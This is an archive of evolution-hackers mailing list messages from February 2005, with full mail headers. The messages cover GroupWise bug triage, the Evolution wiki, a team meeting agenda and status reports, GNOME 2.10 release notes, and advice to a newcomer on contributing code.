Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-02-19 at 14:01 +0000, Harish Krishnaswamy wrote: > On Fri, 2005-02-18 at 23:22 +0530, Sivaiah Nallagatla wrote: > >On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > >> I got this alias setup for bugzilla in case we want to assign groupwise > >> related bugs there some how. > >> > >> Personally I'd prefer to keep the groupwise bugs assigned to individual > >> components with the groupwise keyword rather than create a separate > >> product (the GroupWise product in their now was a broken attempt at > >> tracking some server issues) or separate component. We don't put IMAP > >> or POP bugs in a separate component. However it is a little different > >> in this case because we have a specific group working on these bugs and > >> there are currently a lot of them. We could transfer the groupwise > >> keyword bugs that aren't assigned specifically right now to > >> evolution-groupwise-maintainers and periodically make sure the > >> assignment is right. This would cut down the bug traffic to > >> evolution-mail-maintainers, evolution-calendar-maintainers, etc. > >> > >> Thoughts? > >This idea looks good to me though i would prefer separte product. I feel having separate > >product would make bug submitting easier for folks who are testing/using > >groupwise and avoids even the initial mails sent when new bug is filed. > >Going over bugzilla to find groupwise related bugs will be more painful > >than moving an occasional non-groupwise bug present in groupwise prodcut > >to evolution. > > > > > >Siva > > > > I welcome this idea - actually helps us ensure that none of the bugs are > missed. Currently, some of them have skipped my radar - since groupwise > keyword was not mentioned in some cases and had been assigned to the > product design team - forcing me to resort to look for bugs filed by the > QA hackers rather than the other way round. > > Also, it should reduce lots of traffic for non-gw maintainers - yes. > > Harish > > ______ The idea looks good. It would be better to have the bugs filed under groupwise component for the same reasons mentioned above. thanks, chenthill. > _________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > From rodrigo@novell.com Mon Feb 21 04:42:23 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5D2391245B8; Mon, 21 Feb 2005 04:42:23 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 34541124015 for ; Mon, 21 Feb 2005 04:42:11 -0500 (EST) Received: (qmail 24242 invoked from network); 21 Feb 2005 09:42:10 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 21 Feb 2005 09:42:10 -0000 Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Rodrigo Moya To: Not Zed Cc: spamfrommailing@freax.org, gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108946291.24160.11.camel@lostzed.mmc.com.au> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> <1108946291.24160.11.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Mon, 21 Feb 2005 10:39:33 +0100 Message-Id: <1108978773.11552.7.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-15.7 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote: > > There's an evolution wiki??? > yes, http://live.gnome.org/Evolution > Since when? > some weeks ago IIRC -- Rodrigo Moya From spamfrommailing@freax.org Mon Feb 21 05:31:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BB625124E03; Mon, 21 Feb 2005 05:31:48 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D4AA8124E09 for ; Mon, 21 Feb 2005 05:31:36 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 67DE11394242; Mon, 21 Feb 2005 11:31:32 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 18026-09; Mon, 21 Feb 2005 11:31:25 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id EBD381394240; Mon, 21 Feb 2005 11:31:24 +0100 (CET) Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Rodrigo Moya Cc: Not Zed , gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108978773.11552.7.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> <1108946291.24160.11.camel@lostzed.mmc.com.au> <1108978773.11552.7.camel@cerler.home> Content-Type: multipart/alternative; boundary="=-01ySGe1mPnh4L+VenvJE" Date: Mon, 21 Feb 2005 11:31:25 +0100 Message-Id: <1108981885.11748.17.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-22.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SIGNATURE_LONG_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-01ySGe1mPnh4L+VenvJE Content-Type: text/plain Content-Transfer-Encoding: 7bit On Mon, 2005-02-21 at 10:39 +0100, Rodrigo Moya wrote: > On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote: > > > > There's an evolution wiki??? > > > yes, http://live.gnome.org/Evolution > I wouldn't mind if somebody took the wiki-source of my mediawiki site and port it to the wiki-engine thats being used on live.gnome.org. It would be nice of course, if there's some mentioning of who originally created the document :p. Nevertheless I'd like to point out I dislike the wiki-engine on live.gnome.org. It doesn't look very professional and in my humble opinion doesn't have the required set of features which a MediaWiki does have. As an example I like the fact that MediaWiki generates an index at the top of every page. Perhaps utilising a different stylesheet, or the same as used on a MediaWiki, might make it look a little bit better. I'm guessing that a plugin that creates an index of a page for the wiki engine used on live.gnome.org can be build. So both issue's I'm having with that wiki can be solved (but then again, any issue can be solved. So thats no news). So if you want to port the document to live.gnome.org, I'd say go for it but .. I'd prefer that a MediaWiki would be used. In any case I give permission to do so. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-01ySGe1mPnh4L+VenvJE Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Mon, 2005-02-21 at 10:39 +0100, Rodrigo Moya wrote: 
On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote:
> 
> There's an evolution wiki???
> 
yes, http://live.gnome.org/Evolution

I wouldn't mind if somebody took the wiki-source of my mediawiki site and port it to the wiki-engine thats being used on live.gnome.org. It would be nice of course, if there's some mentioning of who originally created the document :p.

Nevertheless I'd like to point out I dislike the wiki-engine on live.gnome.org. It doesn't look very professional and in my humble opinion doesn't have the required set of features which a MediaWiki does have. As an example I like the fact that MediaWiki generates an index at the top of every page.

Perhaps utilising a different stylesheet, or the same as used on a MediaWiki, might make it look a little bit better. I'm guessing that a plugin that creates an index of a page for the wiki engine used on live.gnome.org can be build. So both issue's I'm having with that wiki can be solved (but then again, any issue can be solved. So thats no news).

So if you want to port the document to live.gnome.org, I'd say go for it but .. I'd prefer that a MediaWiki would be used. In any case I give permission to do so.


-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-01ySGe1mPnh4L+VenvJE-- From jpr@novell.com Tue Feb 22 00:58:08 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B89311246CB; Tue, 22 Feb 2005 00:58:08 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 71EDB12430F for ; Tue, 22 Feb 2005 00:57:56 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 21 Feb 2005 22:57:48 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 22 Feb 2005 00:57:33 -0500 Message-Id: <1109051853.9149.138.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 bug assessment -2.2.0 and 2.2.1 timeline -Patch review mode reminder -2.0.4 release 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 22 11:34:50 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0A11E124E5A; Tue, 22 Feb 2005 11:34:50 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 34C15124E74 for ; Tue, 22 Feb 2005 11:34:24 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 36D9A63F04; Tue, 22 Feb 2005 11:31:40 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from dydimus.dreamhost.com (dydimus.dreamhost.com [66.33.197.17]) by skeptopotamus.ximian.com (Postfix) with ESMTP id 169966392C for ; Tue, 22 Feb 2005 11:31:40 -0500 (EST) Received: from 192.168.1.105 (p3EE21087.dip.t-dialin.net [62.226.16.135]) by dydimus.dreamhost.com (Postfix) with ESMTP id 0BE214F8AC for ; Tue, 22 Feb 2005 08:31:38 -0800 (PST) From: Murray Cumming To: Evolution-Hackers List In-Reply-To: <1108907521.6107.6.camel@localhost.localdomain> References: <1107635723.3794.56.camel@localhost.localdomain> <1108907521.6107.6.camel@localhost.localdomain> Content-Type: text/plain Date: Tue, 22 Feb 2005 17:31:34 +0100 Message-Id: <1109089894.5588.1.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: 2.10 release notes: What's new? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: How about this?: GNOME's integrated Email and Groupware client, Evolution supports traditional mail setups, as well as Novell Groupwise and Microsoft Exchange. With Evolution you can read, write, and manage your emails, contacts, and calendar events. In GNOME 2.10 it's now easier to work offline with your email, calendar, and contacts if you use IMAP, LDAP, WebCal, Groupwise, or Exchange. Your changes will resynchronize when you go back online. (TODO: Is this an accurate description) This new version offers some other calendar improvements: - Files can be attached to events. - Exceptions can be made in recurring events. - The calendar includes weather information. And yet more new features: - Groupwise shared folders and send options are now supported. (TODO: What are "send options") - Exchange folder sizes and password expiry warnings are supported. - The email user interface will be properly mirrored for right-to-left languages. On Sun, 2005-02-20 at 14:52 +0100, Murray Cumming wrote: > I sent this to desktop-devel-list but maybe the evo maintainers didn't > see it. Could you add some information about what's new in Evolution for > GNOME 2.10, please? Thanks. > > On Sat, 2005-02-05 at 21:35 +0100, Murray Cumming wrote: > > It's time to think about the 2.10 release notes. > > > > Could GNOME maintainers please tell us about major user-visible changes > > in their modules, by editing this page: > > http://live.gnome.org/ReleaseNotes > > or just email them to me or the release-team if necessary. > > -- Murray Cumming murrayc@murrayc.com www.murrayc.com www.openismus.com From carlos.gonzalez@shaw.ca Tue Feb 22 18:01:52 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DC1C31244A8; Tue, 22 Feb 2005 18:01:52 -0500 (EST) Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id 4E8DE12432D for ; Tue, 22 Feb 2005 18:01:41 -0500 (EST) Received: from pd5mr7so.prod.shaw.ca (pd5mr7so-qfe3.prod.shaw.ca [10.0.141.183]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICC00MXJ59BHQ50@l-daemon> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:47 -0700 (MST) Received: from pn2ml1so.prod.shaw.ca ([10.0.121.145]) by pd5mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICC00FB558ZD590@pd5mr7so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:35 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICC0042Z58Y01@l-daemon> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:34 -0700 (MST) Date: Tue, 22 Feb 2005 16:00:39 -0700 From: Carlos Gonzalez To: Evolution Hackers-List Message-id: <1109113239.31590.41.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] How to incorporate and test changes to code - an overview?? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi everyone, This is my first post on the list so bear with me if some of what I ask about seems like old hat to most of you :). I have been using Evolution for a few days now and find it a very worthwhile program. But I have been encountering lots of frustrating quirks to using it that I would like to change. Rather than waiting for changes to be made, if ever, through the more normal channels I prefer to make changes to the source code myself and recompile if necessary. It's the first open source program I have encountered that needs some changes pretty bad but which is already at a point of being quite useful. So it's worth it for me to do this. So...I am wondering first off if there is some kind of guide online for newbie hackers of the source code and where that might be? Secondly in a more general sense I am wondering about the whole methodology used in making changes to the source code such that I can make them and test them within a reasonable time period. Obviously I cannot wait to test a change by recompiling the source with every few changes. There must be a much faster way of doing this that Evolution programmers use but of which I am unaware. Do they build test scripts that can test individual functions? One at a time? Such that they can compile changes to the function quickly to test before incorporating into the source code tree? Lastly what is a good way to keep any changes I make while also making use of the latest stable builds to Evolution? Is it theoretically possible to download the entire source, for me to create and run a Perl or other script to patch the source code, and then to recompile so that I get the best and greatest from Evolution while also incorporating my changes. Any input on any or all of the above would be most appreciated. Some of evolutions quirks are starting to drive me nuts yet I don't want to cease using it since it's the best there is on Linux. Carlos From jpr@novell.com Tue Feb 22 21:28:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 40397124C5E; Tue, 22 Feb 2005 21:28:45 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 0F021124646 for ; Tue, 22 Feb 2005 21:28:29 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 22 Feb 2005 19:28:19 -0700 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: JP Rosevear To: Evolution Hackers mailing list Cc: evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108746179.6456.246.camel@bishop.rosevear.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 22 Feb 2005 21:28:06 -0500 Message-Id: <1109125686.20807.145.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-17.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > I got this alias setup for bugzilla in case we want to assign groupwise > related bugs there some how. > > Personally I'd prefer to keep the groupwise bugs assigned to individual > components with the groupwise keyword rather than create a separate > product (the GroupWise product in their now was a broken attempt at > tracking some server issues) or separate component. We don't put IMAP > or POP bugs in a separate component. However it is a little different > in this case because we have a specific group working on these bugs and > there are currently a lot of them. We could transfer the groupwise > keyword bugs that aren't assigned specifically right now to > evolution-groupwise-maintainers and periodically make sure the > assignment is right. This would cut down the bug traffic to > evolution-mail-maintainers, evolution-calendar-maintainers, etc. Ok, sounds like you guys want a groupwise component. Evolution or EDS or both? -JP -- JP Rosevear Novell, Inc. From notzed@ximian.com Wed Feb 23 03:08:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6A7EB124542; Wed, 23 Feb 2005 03:08:29 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 92F821243F0 for ; Wed, 23 Feb 2005 03:08:16 -0500 (EST) Received: (qmail 28516 invoked from network); 23 Feb 2005 08:08:15 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 08:08:15 -0000 From: Not Zed To: JP Rosevear Cc: gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1109051853.9149.138.camel@bishop.rosevear.com> References: <1109051853.9149.138.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-Omx0eVrINe7E0vqIfXKC" Date: Wed, 23 Feb 2005 16:06:30 +0800 Message-Id: <1109145990.31770.39.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-21.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-Omx0eVrINe7E0vqIfXKC Content-Type: text/plain Content-Transfer-Encoding: 7bit probably won make it, 11pm is too late for me lately i fixed a few bugs, more bugs to go i suppose. from last meeting: - didn' do the plugin compile split - didn't look at the composer cut/copy/paste bug - fixed the pop bug, but jeff hasn't reviewed it yet On Tue, 2005-02-22 at 00:57 -0500, JP Rosevear wrote: > Novell people, send a status report if you can't make it. 10am Boston time > (UTC -0500) on Wednesday. > > This meeting will take place on irc.gimp.org, #evolution-meet > > 1. JP > -2.1 development status > -2.1 bug assessment > -2.2.0 and 2.2.1 timeline > -Patch review mode reminder > -2.0.4 release > > 2. Team > -individual status reports > > 3. Additional Business > -questions, concerns, etc. > > -JP --=-Omx0eVrINe7E0vqIfXKC Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
probably won make it, 11pm is too late for me lately

i fixed a few bugs, more bugs to go i suppose.

from last meeting:
- didn' do the plugin compile split
- didn't look at the composer cut/copy/paste bug
- fixed the pop bug, but jeff hasn't reviewed it yet


On Tue, 2005-02-22 at 00:57 -0500, JP Rosevear wrote: 
Novell people, send a status report if you can't make it.  10am Boston time
(UTC -0500) on Wednesday.

This meeting will take place on irc.gimp.org, #evolution-meet

1. JP
-2.1 development status
-2.1 bug assessment
-2.2.0 and 2.2.1 timeline
-Patch review mode reminder
-2.0.4 release

2. Team
-individual status reports

3. Additional Business
-questions, concerns, etc.

-JP
--=-Omx0eVrINe7E0vqIfXKC-- From rodrigo@novell.com Wed Feb 23 08:49:30 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 365D3124C20; Wed, 23 Feb 2005 08:49:30 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 4AF1E124980 for ; Wed, 23 Feb 2005 08:49:18 -0500 (EST) Received: (qmail 28945 invoked from network); 23 Feb 2005 13:49:16 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 13:49:16 -0000 From: Rodrigo Moya To: Not Zed Cc: JP Rosevear , gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1109145990.31770.39.camel@lostzed.mmc.com.au> References: <1109051853.9149.138.camel@bishop.rosevear.com> <1109145990.31770.39.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Wed, 23 Feb 2005 14:46:30 +0100 Message-Id: <1109166390.15586.3.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-13.5 required=5.0 tests=BAYES_70,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-23 at 16:06 +0800, Not Zed wrote: > > probably won make it, 11pm is too late for me lately > probably won't make it neither, since it's in 1 hour and I have to go do some stuff out of home. So, my status: * completed JP's locking patch for calendar backends, waiting for approval on e-p * fixed an alarm daemon crash * fixed get_static_capabilities on weather backend, waiting for approval on e-p * changed save-calendar plugin to use gnome-vfs, thus fixing #71527, also waiting for approval on e-p * more bug hunting/patch approving Looking now at #70035 and 2.1 bugs in general -- Rodrigo Moya From mccannwj@pha.jhu.edu Wed Feb 23 12:48:16 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D72DD12425D; Wed, 23 Feb 2005 12:48:16 -0500 (EST) Received: from eta.pha.jhu.edu (eta.pha.jhu.edu [128.220.143.20]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 6B03D1241B4 for ; Wed, 23 Feb 2005 12:48:05 -0500 (EST) Received: from adcam.pha.jhu.edu (adcam-2.pha.jhu.edu [128.220.146.77]) by eta.pha.jhu.edu (8.12.8/8.12.4) with ESMTP id j1NHm3e0004906 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 23 Feb 2005 12:48:03 -0500 (EST) Received: from [128.220.146.40] (acs25 [128.220.146.40]) (authenticated bits=0) by adcam.pha.jhu.edu (8.12.9/8.12.9) with ESMTP id j1NHm3Jf028373 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 23 Feb 2005 12:48:03 -0500 (EST) Message-ID: <421CC0BC.1010903@pha.jhu.edu> Date: Wed, 23 Feb 2005 12:43:24 -0500 From: William Jon McCann Reply-To: William Jon McCann User-Agent: Mozilla Thunderbird 1.0 (X11/20041209) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carlos Gonzalez Cc: Evolution Hackers-List Subject: Re: [Evolution-hackers] How to incorporate and test changes to code - an overview?? References: <1109113239.31590.41.camel@localhost.localdomain> In-Reply-To: <1109113239.31590.41.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello Carlos, You may find some good information here: http://gnome.org/projects/evolution/developer.shtml In short: * Use jhbuild * Learn how to use CVS commands * Read the code and try to understand how it works (and there is plenty of it) * Follow the coding style of the file you change (evolution uses at least two distinct styles) * Always try to provide patches that apply to the very latest version from CVS HEAD. * Try to make your change affect as little code as possible * Thoroughly test your changes * The evolution hackers are, unfortunately, quite swamped so you may have to be patient when requesting feedback. Good luck, Jon Carlos Gonzalez wrote: > Hi everyone, > > This is my first post on the list so bear with me if some of what I ask > about seems like old hat to most of you :). > > I have been using Evolution for a few days now and find it a very > worthwhile program. But I have been encountering lots of frustrating > quirks to using it that I would like to change. Rather than waiting for > changes to be made, if ever, through the more normal channels I prefer > to make changes to the source code myself and recompile if necessary. > > It's the first open source program I have encountered that needs some > changes pretty bad but which is already at a point of being quite > useful. So it's worth it for me to do this. > > So...I am wondering first off if there is some kind of guide online for > newbie hackers of the source code and where that might be? > > Secondly in a more general sense I am wondering about the whole > methodology used in making changes to the source code such that I can > make them and test them 